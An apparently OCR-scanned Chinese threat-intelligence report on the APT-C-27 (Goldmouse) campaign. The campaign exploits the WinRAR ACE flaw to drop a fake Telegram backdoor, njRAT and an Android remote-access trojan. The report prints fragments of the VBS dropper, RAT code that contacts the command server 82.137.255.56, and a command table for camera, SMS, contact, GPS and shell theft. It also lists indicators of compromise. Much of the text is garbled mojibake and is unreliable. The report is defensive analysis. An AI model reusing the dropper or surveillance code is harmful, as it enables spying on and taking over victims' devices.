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20195F3R17H, FREBIMMBERPOEIR T —HIREIL EEE APTAL (APT-C-27) FIFBWInRARIFEIE (CVE-2018-20250[6]) FHXIFHRMBKAIERBIFA. ZER
ACEFEBRBZ— MU MREFH/EERIOfice WordX A, BEEREEMRENM, JAREBEAMIITEN CBEWInRARBEZXHRESMARR, KR B
[ESRERIGIITER (Telegram Desktop.exe) BMEIBFITENEMNIERT, SRRERSRERRFHBSIITIZEERT, NEHZEETTE.

BRERMERP OB REOTERI, ZNE NS EERAPTALR (APT-C-27) 18X, HELITH—SHIRSXEK, BIIERINT S NM5ZBLEXN
AndroidSEERTEERA, XREAEEERR—EERARGMFEBmARRITIE, TSR TESREERRINNFAE, JLIBIKEE B RAETAIHE.

o 35 engines detected this file o
O SHA-256 76fd23de8f977f51d832a87d7b0f7692a0ff8af333d74fa5ade2e09fec010689

File name New March.exe
File size 170 KB
Lastanalysis  2019-03-10 04:30:34 UTC
Detection Details Community
Acronis A suspicious Ad-Aware A Gen:VariantMSILPerseus.182179
ALYac A Gen:VariantMSILPerseus.182179 Antiy-AVL A Trojan[Backdoor]/MSIL.Bladabindi
Arcabit A Trojan.MSILPerseus.D2C7A3 Avast A Win32:Malware-gen
AVG A Win32:Malware-gen Avira A TR/Bladabindi.qgkfb
BitDefender A Gen:MariantMSILPerseus.182179 CrowdStrike Falcon A win/malicious_confidence_100% (W)
Cybereason A malicious.59ba60 DrWeb A BackDoor.Bladabindi.13678
Emsisoft A Gen:VariantMSILPerseus. 182179 (B) Endgame A malicious (high confidence)

[51J58% (Telegram Desktop.exe) FEVirusTotal A& 5
AR
FLERIMEIRT O HZABWInRARIFRIEARRIT T o, XD,
MRS RE M ASEE
MD5 314e8105f28530eb0bf54891b9b3f69

X

TR EE B S — 1 Office WordXHs, MERBFA—REMREEXRSM. PREKBTHES. WESRAYE, mthKEFTHREESZ, ARRZHEE, i
PUZIEX A BRI T RESEHEUR, BUEZEBMREEAIATsEMEN:
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RPINREEZESEREES, NWefAWiInRARTER, MEMRENEJEFEIBFREIBERT:

@Q | .« Local Disk (C:) » Users » mm » AppData » Roaming » Microsoft » Windows » Start Menu » Programs » Startup - |

Mew folder

Organize » Include in library

- Favorites
Bl Desktop
& Downloads

©
=l Recent Places

- Libraries
3 Documents
J"- Music
=| Pictures

B Videos

18 Computer

SRFPEHNEMIT BB ERRREHITRE

1 Telegram Desktop

- Share with -

-

Name Date modified Type

2/21/201910:03 PM  Application

OS] )72 Telegram Desktop.exe,

Backdoor (Telegram Desktop.exe)

XA

MD5 36027a4abfb
SHA256

FER NET

&1 Jf2 R Telegram Desktop.exe M\ PEEIRPIEENEGEFHBAE]: %TEMP%\Telegram Desktop.vbs, FEEHITIZVBSHIA, FAIR17FEZIVBSHIZA

Forml Loadf

hiz. Hide (};

1ZVBSHIARFEINEE BT Baseb4fRIBNENFRTER, FISHIBEMNZERERENZEISUY: %TEMP%\Process.exe, EfaiflfTProcess.exe:

Telegram Desktop.exe

702107a103478f6af49be

zender, Eventirgs e)

Eezourcea.

https://ti.360.net/blog/articles/apt-c-27-(goldmouse):-suspected-target-attack-against-the-middle-east-with-winrar-exploit/
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Size

170 KB

76fd23de8f977f51d832a87d7b0f7692a0ff8af333d74fa5ade2e99fec010689

+ "4 Telegram Desktop. vha";
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dim t=x1 , tx2 , t=x3 , tx4 , txbd , txe , txT , txE , Lx9

txl = "yacripnk.shell"”
T — W YT e mre A e
Lxd = I e A e e

tx3 = "Mzxzmlz2.DCHDocumen

tx4 = "baseg4"
= PATW TR S+vmam
txS = "RADCDE AT A
txé = "hin.basegq"
t-:':'_l" = M\ Drarpass =wal
SRS T
txg = = QeSS . B =
THS = "ITVgRALMARADFELARD S /8

set g = createockhiject(txl)

h = g.ExpandEnvironmentStrings (tx2)

Set a = Createlbject (tx3) .CreateElement (tx4)

a.datalype = txb6
a.text = tx9

Set 2 = Createlbject (tx3)

2. Type = 1

z.0pen

2.Write a.nodeTypedValue

z.5aveloFile h & tx7,2

' Wesrink.sleen (33leend

g.run{h & txI)

Process.exe i TIESERTEMP%E R N EIFEIH1717 txt, HEANSREZWITHEI JEFEXAEYE, LAfitTelegram Desktop.exef5£E{HA:

Forml_Loadf

LHide ()

MwFProject.

MwProject.

sender, Eventirzz e)

.FileExizt={

WritesllText | . tmp,

FProjectDat a. b

BB/ Telegram Desktop.exefBRIEE1 717 txt 3RS, FHEEPIIRIRFRAIEHE:
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REERTFHINEFTRIEIEANRATEI JER, EXEERE

c00005E00]

BUT:

BT LT B

as

-1, CompareMethod.

. CompareMethod.
-1, CompareMethod.
-1, CompareMethod.
-1, CompareMethod.
-1, mparelethod.
-1, CompareMethod.
-1, mparelethod.
-1, CompareMethod.

Comparelethod.
Comparelethod.
Comparelethod.
CompareMethod.
CompareMethod.
Comparelethod.
Comparelethod.
Comparelethod.
Comparelethod.
Comparelethod.
Comparelethod.
CompareMethod.
Comparelethod.
Comparelethod.
Comparelethod.
Comparelethod.
Comparelethod.
Comparelethod.
Comparelethod.
Comparelethod.
Comparelethod.
Comparelethod.
Comparelethod.

=

CompareMethod.

P e T T e o N T e T T e e
LT [
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FTENOTWEE" ;

oo g
317"

“TEMP" ;

“001c01720aTecT9d3fe1 14034750" ;

T SINT | £

2100s.

Conwvers1ons.

Conwers1lons.

Consrerslons.

FileInfao L0 = FileIrfo (A=

njRAT
AEFINEHRITHINRATE JEFBSIEERE, RERB— XAz T:

flag = :
CE.NT = Mt ex

FHTERIE TRERENEENHPIRENER, AFAENENESENZBEENHIT:

(looo) -

FileInfo(Interaction. (OK.DR). ToLower () + "%\" + OK.EXE. ToLowe

{Interaction. (OF. D) WA+ OK.EXE) )
{Interaction. (OK. DE) “SAY 4+ OK.EXED :

L fileStream = FileStr {Interaction. (OK.DR) + ° + OK.EXE, FileMode.

“ + DE.EXE) ;

e XA ERRFOR K
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Enviromment¥ariableTarget.

i [l

wall add allowedprogram %°°,

1

1':-'_- Appli . E . h0oo;y.

UK. kg =
th

ruam+;
m? = 0;

k1. {roam! 67 & |0K.F.

{roum?
(rom

nam

* 1024 ;

FRBEZRE, SCaCGHETBEFEZSmIOHT:

IZNRATIIEEBITIESHELL, &4 FEIIT. TERE. XHEESZS IR
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AndroidSEREARDHT
SRIERMBEIRPOET
(82.137.255.56:1740) :

21

(Operatora.

("k1" + OK.T + OK.ENE(

(Operators,

. —1l, Compare

(left, “11°,

(left, “Lk17,
OE.ka.Lo

(left, “prof”,

{left, “rn”,

Thaloif’ )

MemoryStrea

VirusTotaiRKBAEI T "EE& " (APT-C-27) APTHAE

82.137.255.596

Communicating Files ©

BT LT B

Method.

w[1] + QK. ¥, OFE.

EFERIZ A NANdroid EEH0EE

HA, EERFERT82.137.255.56/FFC&Ciit

Date scanned Detections File type Name

2019-03-18 Android chatsecureupdate2019.apk

2019-03-18 Android OfficeUpdate2019.apk

2019-03-17 Win32 EXE New March.exe

2019-03-17 Android 090ba0eef20b8fdcefd619ddc634b440.virus
2019-03-16 Android 21cae0f8b41d5094c88858135a2bafc.virus
2019-03-16 Android 30bb6d0da04c0cc8c8b54edof248f7de340756bbb
2019-02-21 (7] CV.vhs

2019-03-08 Android ChatSecure.apk

2019-03-11 Win32 EXE 9dafb0f428ef660d4923fedf4f53bfcO.virobj
2018-10-31 (7] 2.vbs

M EIRERZIRIANdroid P afal JEATEHEEIAndroid RETEHT. Office Tt RIERFFERIIG. FHNLANZEAOfficeFHRIEFFRIANdroidF R AFIHIT T o1, 1BRD

FranT:

{4 MD5
X3

1cc32f2a351927777fc3b2ae5639f4d5

OfficeUpdate2019.apk

ZAndroid¥EAEDE, SAESHAFMGEREEESE, EEREEGHERSET:
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rg Office System Upgrade

o
{ o )
-

Please Accept System Update

ind i LG P2 BE o] AL 1F R FH"Office Systemn Upgrade"BiTEL T HR{E

e
THA

BEAPTREER, AR TRE:

https://ti.360.net/blog/articles/apt-c-27-(goldmouse):-suspected-target-attack-against-the-middle-east-with-winrar-exploit/

8/14



2019/12/4 AT LA B R O

A O w4l 232

3
w

:*LgLnS Olakadl 1S Cosnd biue Lwdl o 7lows Casaddl cadd @l
_;Li.'.g,:_-. wlal e _.r J'_-' ._:I-"‘-"r =T
(ool ddlCal) of (ool duillal) aus e bdal-2

rlalall ooy daass .d"-'-""”-"-'-" I-u_-'i -

RGBT AndroidEAiARISharedPreferencesfZiig iz (1IREN AP NIRC], NSRIRENAZE], BARRSECARYEESRAD PHEEA RO _E4k:

private void load3ettings() {
try |
FPcketPrvidr IP_RAW = PcketPrvidr MySettings. getStringlr HMDZA_IFRAWT, PoketPrvidr IP_RAW;
PcketPrvidr.PORT_RAW = PcketPrvidr MySettings. getintr HMZDA_FORTREAW, PcketPrvidr. PORT_RAW);
Y catch (Exception e){
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public static String HMShellAlias = "llehs@zmH";

public static String IP_RAW = "@uuZd1u37ubFuFIFUL,
public static String LastApp =

public static =tring LastDateTime =

public static =tring LastWritten =

public static Packagelnfomatn MyApps = new Packagelnfomatn();
public static CLLMnagr MyCLLManager = new CLLMnagriapp);

public static CamraMngr MyCamera;

public static ContctsMngr MyContactsManger = new CaontctsMngriapp);
public static DBHelper MyDB;

static String MyDir="7";

public static FileMnagr MyFileManager = new FileMnagr(app);

public static DLL My3HH;

public static SMSMagr MySMSManager = new SMSMaagriapp);

public static SharedPreferences MySettings;

public static Editor Myeditor;

public static int PORT_RAW = 1640;
public static BEoolean PhoneConnected = Boolean valueOf(false);

X IPHEAEAIARRD LA -

public static String get_iprawi() {
return IP_RAW replace("(@", "87).replace("u”, ~).replace("}", ".").replace(™#", "57);

ERESAERB/ERYIPHBIEYY . 82.137.255.56, imth EEEICERIDEAYmAI1_E100RGR&RLELRIRO1740:

PcketPrvidr.socket = new Socket();
synchronized (PcketPrvidr.socket) {
PcketPrvidr.socket connectinew InetSocketiddress(byMamsg, PcketPrvidr PORT_RAW + 1007 25007

PcketPrvidr.ZerverOnline = Boolean value Of(true);
PcketPrvidr.out = new DataCutputStream{PcketPrvidr.s ocket.getQutputStream();
PcketPrvidr.f38in = new Datalnput=treamiPcketPrvidr.socket. getinputStream());
sendPacket{(short) 17, PcketPrvidr.getSysinfal), =, BooleanvalueOfitrue));
PcketPrvidr sendPacketRAW([short) 30, 7, retriveMewAppl), Boolean valueOfftrue));
PcketPrvidr.surrvive = 2;
return true;

}catch (Exception e3) {

SERCACHIIAINE, BFakixLE%E. BRREHENGSHIT. ZHFAEERE. AR, GPSEM. LERRNBIRICR/EE/XMH. PTRime<SEFIRE:
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public class Pricol {
public static final short Command_Camera_Snap = (short) 36;
public static final short Command_Change_CC = (short) 39;
public static final short Command_Connect = (short) 17;
public static final short Command_Copy_File = (short) 22;
public static final short Command_Delete_File = (short] 21;
public static final short Command_Download_File = (short) 19;
public static final short Command_GPS_End = (short) 38;
public static final short Command_GPS_Start = (short) 37;
public static final short Command_Get_Apps = (short) 41;
public static final short Command_Get_CC = (short) 40;
public static final short Command_Get_CallLog = (short) 33;
public static final short Command_Get_Contacts = (short) 31;
public static final short Command_Get_Files = (short) 15;
public static final short Command_Get_Messages = (short) 32;
public static final short Command_Make_Dir = (short) 25;
public static final short Command_Maove_File = (short) 23;
public static final short Command_Eename_File = (short) 24;
public static final short Command_Run_File = (short) 25;
public static final short Command_Shell = (short) 29;
public static final short Command_5Start_Audio = (short) 34;
public static final short Command_Stop_Audio = (short) 35;
public static final short Command_Uplaod_File = (short) 20;
public static final =tring Delimiter = "=/HAMZA_DELIMITERE_STOP=";
public static final short Error_Camera = (short) 102;
public static final short Error_FileManager = (short) 101;
public static final short Error_Main = (short) 100;
public static final short HeartBeat = (short) 16;
public static final int Max_Packet_3ize = 4096;

public static final short PING = (short) 30;

Androidfal EARRIBRIES RINEEFIZRAT :

5o
16
17
18
19
20
21
22
23
24
25

28

ToRE

OB TR

connect
REUEEXHHIESER
TECSUH

et

ARIBRSZ A4
EIRRImESE 6
RIS
BRRmimisSEw RN
P AL

BRAImESEEER
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32

33

34
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36

37

38
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41

B2 AE B E AR A0
WT=imwS
HIT—IRpingdn<>
SREFF LEBRRAER
SREF LERE1E
SREGH EEBIRICR
FaRE
ELEF HERE U
S
FHIAGPSTENL
EIEGPSTERFF LIEUEER
ER IR & EMip/port
B =R & 2R RAYip/port
RENE ZER FRRIER

BEEIENE, EzFARENGSEEPESTHAEENEXER, Bt HENREEBRAR EAEERMIAMAE:

HRSREX

HmzaFile hmzaFiled4 = new HmzaFilel);

hmzaFiled4 Path = "idataldatal + PcketPrvidr app. getString C0253R. string. pkg_name) + “/databases”;
hmzaFiled Namg = "l 5 s 7
hmzaFiled.isDir = i
hmzaFiled4 Gender = Z;
hmzaFile.Childs.add(hmzaFiled);
hmzaFile4 = new HmzaFile(;
hmzaFile4.Path = idata/datal + PcketPrvidr.app.getString(C0253R. string.pkg_name) + “files",
hmzaFiled Mame|= "mdid Ja ™
hmzaFiled.isDir = true;
hmzaFiled4 Gender = Z;
hmzaFile.Childs.add(hmzaFiled);
hmzaFile4 = new HmzaFile(};
hmzaFiled4 Path = Environment.getExternalStoragePublicDirectory(Environment. DIRECTORY_DOWRLOADS) getAbsolutel
hmzaFile4.MName = "Downloads™,

hmzaFiled.isDir = true,

[ IR s o [ PU (. .

BB ERE JIBRCCHEE (82.137.255.56: 1921) AJH0, iZIPHEUEEI20174R#2(@ 2R MEAPT-C-27 (BER) BLRER, 1% PHERUZARNES P
BiE, BIT360MEA R AREIREXEAF SR LABE SiZI P REX I Z N ERER

® bf6a9c0f3c53...ed6f67a0c943

® 442f82d42e06...a7e59d6a7561

@ http://82.13....56/is-read
® ab8606ef9d4a...n2045150f320
® 7b4401d61f81...c8bed9fd181c
L
L 1]
o0 T i
ee 42000e02db35...1d5cfazee914
@ http://82.13...001/is-ready ®® 75ab1893f0ed...208915779a4c
@ http://82.13...602/is-ready
® http://82.13...701/is-ready
@ http://82.13...p/Server.exe
e e7c8fb2e14e4...b8043644c512
@ http://82.13...215/is-ready
#°d84a553f0f27.. b525fa4f9977
W-82.137.255.56
® ip
® mds5
@ ur
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B FLERIMERT ORI ITES (ti.gianxin.com)EfiZCCHINE, tH#EF] £ T APT-C-274E<HIFRES

C @ hitps;//ti.360.net/search?type=ip&value=82.137.255.56

= RMEAFEIST 82.137.255.56

82.137.255.56 " A

(=D s e |

R GE R
ASN AS20255 Syrian Telecom
IDCHES S & ¢
5] &
BHRR =R 20
%
BxasRs:

FHENRREBREIRIERADHER (WindowsHIAndroidsF&) RITHREEIR, RiDEE. RERERIES. BinAl. NER~HEEENRRIEAIAPT-C-27[2])fEA
ASHEAEERERLL. FSRERIMERPUIANRREGRIIBREREFES EER APTAR (APT-C-27) fEX.
R

IEANFAIAYF, FIFBWInRARiRIE (CVE-2018-20250) fEREERIEFRIKETAELERAMER, SRERMBRPOLIIMEEIZ NI RLLREH TRIAPTIES
), MAREGRAVBEL EEE APTER (APT-C-27) FAWINRARIFRIERRLENIXRARRE I BixiRRTEE R EEGTa—0. RtERERMERTOE
RIS AP R ZimRrnirENE. (W EEEE —)

RfEalE
1T B BELKH TENINIWINRARIRE, STRERMMBRPOENAFARIEFTHERWINRAR (5.70 beta 1) ZUSRFTHRAS, TEGEIANT:

32 fi: http://win-rar.com/fileadmin/winrar-versions/wrar57b1.exe
64 {iZ: http://win-rar.com/fileadmin/winrar-versions/winrar-x64-57b1.exe
2. UWIEBGEZREANT, LAEEBRRBEAIDLL (UNACEV2.DLL) , XMEFEARFII—MRAVER, BRBEIACERN R,

Bl ETSRERNBRPONEBMEREENSE R, SEFRERMBIRTE (TIP) | XE. XIRSREIMENRSE. NGSOCEF, HBEESHFRILLRERT
KEHEE,

10Cs

JZE ACE {4 MD5

314e8105f28530eb0bf54891b9b3ff69

Backdoor (Telegram Desktop.exe)

36027a4abfb702107a103478f6af49be

Process.exe

€c69819462f2c844255248bb90cae801

Backdoor MD5s
83483a2ca251ac498aac2abe682063da
9dafb0f428ef660d4923fe9f4f53bfcO
2bdf97dala1b3a40d12bf65f361e3baa
1d3493a727c3bf3c93d8fd941ff8accd
6e36f8ab2bbbba5b027ae3347029d1a3

72df8c8bab5196ef4dce0dadd4c0887e

Android #ZA
5bc2de103000ca1495d4254b6608967f (daxo gl opuis )l - wgul g1.apk)
ed81446dd50034258e5ead2aa34b33ed (chatsecureupdate2019.apk)

1cc32f2a351927777fc3b2ae5639f4d5 (OfficeUpdate2019.apk)
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PDB B&12
C:\Users\Albany\documents\visual studio 2012\Projects\New March\New March\obj\Debug\New March.pdb
C:\Users\Albany\documents\visual studio 2012\Projects\March\March\obj\Debug\March.pdb

C:\Users\Albany\documents\visual studio 2012\Projects\December\December\obj\Debug\December.pdb

c&C
82.137.255.56:1921
82.137.255.56:1994

82.137.255.56:1740

SEEE

https://twitter.com/QiAnXinTIC

https://ti.gianxin.com/blog/articles/analysis-of-apt-c-27/ (FEER AR --FNFTttXERINTED)
https://mp.weixin.qqg.com/s/dkyD2k6dqt5SYS7qLPOqfw (FTCiEfEZE! B MFIBWINRARBIEMEEIVRIENZRIMG (JNEC) 51T)
https://mp.weixin.qq.com/s/hAoee3Z90FyxSdomHfqZgA (Zi5! WinRARIEEFIBF S : T, =, TXEEID)
https://mp.weixin.qg.com/s/Hz-uN9VEejYN6IHFBtUSRQ (BEN7eZFIFAWInRARIGEIEBHERHEADTT)
https://research.checkpoint.com/extracting-code-execution-from-winrar/

N o vhswpNn =

https://ti.gianxin.com/advisory/articles/360ti-sv-2019-0009-winrar-rce/

@ APT-C-27 GOLDMOUSE TARGET ATTACK WINRAR EXPLOIT APT

Zor=-LF

A B EFLIAPT-C-27 (BER) FIAWINRARBRE X PREXERIT ST >
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